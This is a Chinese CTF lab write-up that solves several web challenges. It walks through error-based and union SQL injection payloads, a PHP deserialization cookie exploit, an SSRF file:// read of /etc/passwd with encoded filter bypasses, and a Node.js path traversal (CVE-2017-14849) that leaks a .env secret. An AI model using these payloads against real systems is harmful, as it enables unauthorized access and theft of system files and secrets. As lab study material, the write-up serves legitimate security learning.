本文涉及知识实操练习——CTF实验室:可学习Web、PWN、MISC等相关操作。
一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名
继续跑flag,结果没跑出来,最后还是上手工了。
测试输入一个单引号,页面无反应,但是在源码中发现了又报错信息
接着用单引号和括号闭合,报错注入,之后想了一下,为什么页面没有回显呢,原来是因为错误信息居然显示白色,前期被骗了很久,用鼠标描一下即可看到。
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
开局一个输入框
查看hint得到源码:
//a "part" of the source code here function sqlWaf($s) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i'; if (preg_match($filter,$s)) return False; return True; } if (isset($_POST['username']) && isset($_POST['password'])) { if (!isset($_SESSION['VerifyCode'])) die("?"); $username = strval($_POST['username']); $password = strval($_POST['password']); if ( !sqlWaf($password) ) alertMes('damn hacker' ,"./index.php"); $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";// password format: /[A-Za-z0-9]/ $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); if ( $row['username'] === 'admin' && $row['password'] ) { if ($row['password'] == $password) { $message = $FLAG; } else { $message = "username or password wrong, are you admin?"; } } else { $message = "wrong user"; } } else { $message = "user not exist or wrong password"; } } ?>
password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
··· if (isset ($_COOKIE['last_login_info'])) { $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); try { if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) { die('WAF info: your ip status has been changed, you are dangrous.'); } } catch(Exception $e) { die('Error'); } } else { $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ; setcookie ('last_login_info', $cookie, time () + (86400 * 30)); } ···
conn.php源码
include 'flag.php'; class SQL { public $table = ''; public $username = ''; public $password = ''; public $conn; public function __construct() { } public function connect() { $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx"); } public function check_login(){ $result = $this->query(); if ($result === false) { die("database error, please check your input"); } $row = $result->fetch_assoc(); if($row === NULL){ die("username or password incorrect!"); }else if($row['username'] === 'admin'){ $flag = file_get_contents('flag.php'); echo "welcome, admin! this is your flag -> ".$flag; }else{ echo "welcome! but you are not admin"; } $result->free(); } public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); } public function waf(){ $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"]; foreach ($blacklist as $value) { if(strripos($this->table, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->username, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->password, $value)){ die('bad hacker,go out!'); } } } public function __wakeup(){ if (!isset ($this->conn)) { $this->connect (); } if($this->table){ $this->waf(); } $this->check_login(); $this->conn->close(); }
继续往下看,有个执行SQL语句的地方
public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); }
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"]; foreach ($blacklist as $value) { if(strripos($this->table, $value)){ die('bad hacker,go out!'); } }
include "conn.php"; $sql = new SQL(); $sql->table = "users"; $sql->username = "admin"; $sql->password = "a'or'1'='1"; $a = serialize($sql); echo $a; echo base64_encode ($a);
得到 TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9, 输入之后获得flag
0x04 ssrfME
访问可以看到有两个输入点,一个可以输入url,一个是验证码
脚本爆破验证
<?php for ($i=0; $i < 1000000000; $i++) { $a = substr(md5($i), -6, 6);if ($a == "d17b5b") {echo $i; break;} } ?>
尝试使用file协议读取,发现读取/etc/passwd成功
··· if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha'])) { $url = $_POST['url']; $captcha = $_POST['captcha']; $is_post = 1; if ( $captcha !== $_SESSION['answer']) { $die_mess = "wrong captcha"; $is_die = 1; } if ( preg_match('/flag|proc|log/i', $url) ) { $die_mess = "hacker"; $is_die = 1; } } ···
file协议读flag,利用两个url编码flag绕过
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
在index.html中发现了source,点击可以看到源码
const express = require('express'); const path = require('path'); const env = require('dotenv').config(); const bodyParser = require('body-parser'); const crypto = require('crypto'); const fs = require('fs') const hbs = require('hbs'); const process = require("child_process") const app = express(); app.use('/static', express.static(path.join(__dirname, 'public'))); app.use(bodyParser.urlencoded({ extended: false })) app.use(bodyParser.json()); app.set('views', path.join(__dirname, "views/")) app.engine('html', hbs.__express) app.set('view engine', 'html') app.get('/', (req, res) => { res.render("index") }) app.post('/', (req, res) => { if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) { res.render("index", {result: process.execSync("echo $FLAG")}) } else { res.render("index", {result: "wrong secret"}) } }) app.get('/source', (req, res) => { res.end(fs.readFileSync(path.join(__dirname, "app.js"))) }) app.listen(80, "0.0.0.0");
在给出dockerfile中,文件内容为
FROM node:8.5 COPY ./src /usr/local/app WORKDIR /usr/local/app ENV FLAG=flag{**********} RUN npm i --registry=https://registry.npm.taobao.org EXPOSE 80 CMD node /usr/local/app/app.js
去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞
输入/static/../../a/../../..//etc/passwd,利用成功
接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849
根据源码中的条件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733
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